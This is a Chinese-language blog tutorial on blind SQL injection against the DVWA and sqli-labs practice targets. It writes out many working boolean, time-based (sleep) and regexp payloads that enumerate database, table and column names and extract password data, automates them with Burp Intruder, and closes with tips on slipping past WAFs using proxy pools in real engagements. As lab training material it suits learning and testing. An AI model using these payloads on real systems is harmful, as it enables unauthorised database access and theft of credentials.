前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >sql注入盲注高级技巧

sql注入盲注高级技巧

作者头像
黑伞安全
发布2019-10-16 11:57:53
1.6K0
发布2019-10-16 11:57:53
举报
文章被收录于专栏:黑伞安全
sql注入盲注高级技巧

对于sql盲注,常用的方法应该是二分法,如果是windows平台的话dnslog会是一种奇招,对于个人对盲注的理解,猜解需要大量时间和过多的经验,那么有没有一种比较不错的方式来进行盲注来达到快速又流程话的工作呢?这时候我会使用到burpsuite

我们用最常见的dvwa来做测试

选择sqlinjection(Blind)也就是盲注

先从简单开始搞

开局burp抓包

判断有多少列. 猜解SQL查询语句中的字段数

这个就很简单了 由于是数字型注入我们就可以用简单的

这里就很简单了

那下面不废话直接用一种新的玩法 告别二分法

我们可以把我们要注入猜解的语句都写成字典

通过burp爆破的形式直接搞出来

如 猜解数据库有多少个字符

会使用到length length(database())=1

那么直接构造字典

这个也不需要太长,一般数据库使用的名字不会超过三十个长度吧(我就见过几次)

把拦截的请求发送intruder爆破

先去找到成功注入的字段

将User IDexists in the database 添加到intruder的options中的Grep Match匹配中去

导入字典开始攻击

可以看出有四个字符

这里有更好的方法就是只爆破一个点就好

那么所有字典里面其实都是成为1 2 3 456.。。。了 那么现在我们就开始都用123456开始搞事情

盲注需要了解的语法函数有几个很关键

length(str)

返回字符串str的长度,以字节为单位。一个多字节字符算作多字节

substr(string string,num start,num length)

string为字符串;start为起始位置;length为长度。

注意:mysql中的start是从1开始的

ASCII()函数用来把字符转换成ascii码值

接下来就会用到这三个函数

那么我就不采用二分法猜数据库名字了直接爆,用二分法猜要猜第一个字符之后第二个时间太长那么我们只需要一个字典就OK啦

猜数据库长度payload设置

and ascii(substr(database(),1,1))=97

看图

采用bomb方式多重炸炸炸

这时候我们就一个字典里面弄个1到122就行 你们懂得省事

那么就是开始爆

这时候对比ascii?表就可以知道数据库是dvwa了

是不是比二分dnslog速度快多了呢

当然dnslog配合python写个自动化也很好

后续爆表长度表名字字段个数长度名字也是如上爆爆爆

看如下payload

爆表个数

爆表长度

爆表名字

多个表就多个标记你懂的

这样的盲注速度真的是节约太多时间

还有可以用时间注入的方法进行盲注

if(length(database())=1,sleep(5),1)

if(ascii(substr(database(),1,1))>97,sleep(5),1)

if((select count(table_name) frominformation_schema.tables where table_schema=database() )=1,sleep(5),1)

if(length(substr((select table_name frominformation_schema.tables where table_schema=database() limit0,1),1))=1,sleep(5),1)

等等

就留给大家结合burp神器自己动脑使用一下使用之后发现是不是节约很多时间呢 大家可以使用sqllabbwapp 等靶场试试

下面是用到盲注regexp(正则)的方法来战sqllab

?id=1' and length(database())=8 %23

当前数据库名字长度为8

?id=1' andord(mid(database(),1,1))=97 %23

爆破数据库的名字

security

?id=1' and(select count(table_name) from information_schema.tables wheretable_schema=database())=4%23

security库内表的个数为4

?id=1' and length(substr((selecttable_name from information_schema.tables where table_schema=database() limit0,1),1))=6%23

第一个表名的长度为6

ORD和ascii的方式:

?id=1' andascii(substr((select table_name from information_schema.tables wheretable_schema=database() limit 0,1),1))=6%23

爆破security库的第一个表的名字

emails

正则的方式:

?id=1' and1=(select 1 from information_schema.tables where table_schema=database() and

table_nameregexp'^e')

security库中所有表的第一个字符集合{e,r,u}

?id=1' and1=(select 1 from information_schema.tables where table_schema=database() and

table_nameregexp'^ea')

以e开头的表名的第二个字符为m

由此可得其中的一个表为:emails

得到第二个表:referer

以此类推就都出来了

以u开头的表的第二个字符的集合为:{a,s}

其中一个表为:uagents

另一个表为:users

正则的方式比ORD和ascii的方式更好的地方在于:

1.使用正则不用再去猜测表,字段等等的长度

2.正则可以一次性同时爆破多个表或字段

3.爆破的结果不用再去查ascii码表

下面接着用正则爆破user表中的字段名:

?id=1' and1=(select 1 from information_schema.columns where table_name='user' and

column_nameregexp'^e' limit 0,1)%23

user表中所有字段第一个字符集合为:{e,r,t,u,i,p,a,s,d,f,g,h,i,x,c,m}

以p开头的字段名的第二个字符集合为:{r,a,i}

以pa开头的字段名第三个字符为:s

大胆猜测一下:password

验证确实如此。

因为拿到其他字段名的方法与上述一致,就不重复了。

最后通过rod爆破拿到一条password字段的数据:

?id=1' andmid((select password from users limit 0,1),1,1)='a'

dumb

拿到其中的一条数据;

这里更为严谨的应该是:

?id=1' androd(mid((select password from users limit 0,1),1,1))=97

进行rod爆破,再将结果通过ascii码表转义

小结: 可以用二分法asci,ord,mid,substr,left

也可以通过时间注入 shell

还可以用benchmark测试数据库性能的方式(不推荐,数据库有时候扛不住)

使用burp进行注入也需要对盲注的方式,盲注的注入点查找要了解,通过构造语句来进行爆破测试,GET到关键的参数,设置好标记就能轻松blind了

出来实战的话很多项目waf会把我们干掉那时候我们就需要把爆破速度调整分布式分小段爆+代理池的方法或许有点效果,希望各位实战时能有好的方法共同分享

希望大佬轻点

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-07-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑伞攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档